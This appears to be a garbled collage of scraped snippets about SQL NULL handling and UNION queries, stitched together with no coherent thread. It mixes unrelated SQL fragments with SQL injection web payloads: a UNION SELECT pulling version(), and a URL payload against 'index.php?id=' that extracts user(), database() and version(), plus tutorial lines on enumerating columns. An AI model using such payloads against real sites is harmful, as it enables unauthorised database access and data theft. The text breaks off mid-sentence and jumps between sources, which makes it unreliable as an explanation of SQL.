Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
if null = null select 'nulls are equal' else select 'nulls are not equal'.
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...SELECT NULL,NULL,NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
Null as a Value. In simple terms, NULL is simply a place holder for data that does not exist.
Union [all]. Select. column3, column4. FROM. table2; To use the UNION operator, you write the dividual SELECT statements and join them by the
Вывод имён колонок (MySQL >= 4.1 колонки NOT NULL).
/index.php?id=null union all select 1,2,3,4,user(),6,database(),8,version(),10,11,12,1 3,14,15–. As you can see we selected values from the showing columns, what if we want to clean this up a bit, and put all of those selected values in one column? This is where concat() comes in
INSERT INTO tablesB VALUES (2),(2),(NULL) GO. CREATE CLUSTERED INDEX Ix_ID ON tablesB(Id)